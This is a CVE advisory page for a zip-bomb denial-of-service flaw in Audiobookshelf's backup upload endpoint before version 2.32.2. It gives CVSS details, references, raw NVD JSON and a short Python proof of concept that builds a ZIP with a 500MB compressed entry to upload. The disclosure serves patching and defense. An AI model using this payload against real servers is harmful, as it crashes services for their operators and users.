CVE-2026-42886

Description

Audiobookshelf is a self-hosted audiobook and podcast server. Prior to 2.32.2, the POST /api/backups/upload endpoint decompresses the details entry from an uploaded .audiobookshelf ZIP file entirely into memory using zip.entryData(), with no limit on the decompressed size. The upload middleware also has no file size limit. An admin user can upload a crafted ZIP containing a highly compressed details entry that, when decompressed, consumes hundreds of megabytes or gigabytes of memory, crashing the server process via out-of-memory. This vulnerability is fixed in 2.32.2.

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Audiobookshelf < 2.32.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import zipfile
import io

def create_malicious_zip():
    # Create a malicious .audiobookshelf zip file
    # containing a highly compressed 'details' entry
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Simulate a large payload (e.g., 500MB) to consume memory
        # In a real Zip Bomb, compression ratios are optimized
        large_data = b'A' * (500 * 1024 * 1024)
        zf.writestr('details', large_data)
    
    malicious_content = buf.getvalue()
    print(f"Generated Malicious ZIP Size: {len(malicious_content)} bytes")
    # Use this content to POST to /api/backups/upload
    return malicious_content

if __name__ == "__main__":
    create_malicious_zip()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42886
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42886
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42886/
[4] VulDB https://vuldb.com/cve/CVE-2026-42886
[5] https://github.com/advplyr/audiobookshelf/security/advisories/GHSA-4jq4-rvq8-j26h

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42886", "sourceIdentifier": "[email protected]", "published": "2026-05-11T20:25:45.020", "lastModified": "2026-05-11T20:25:45.020", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Audiobookshelf is a self-hosted audiobook and podcast server. Prior to 2.32.2, the POST /api/backups/upload endpoint decompresses the details entry from an uploaded .audiobookshelf ZIP file entirely into memory using zip.entryData(), with no limit on the decompressed size. The upload middleware also has no file size limit. An admin user can upload a crafted ZIP containing a highly compressed details entry that, when decompressed, consumes hundreds of megabytes or gigabytes of memory, crashing the server process via out-of-memory. This vulnerability is fixed in 2.32.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-409"}]}], "references": [{"url": "https://github.com/advplyr/audiobookshelf/security/advisories/GHSA-4jq4-rvq8-j26h", "source": "[email protected]"}]}}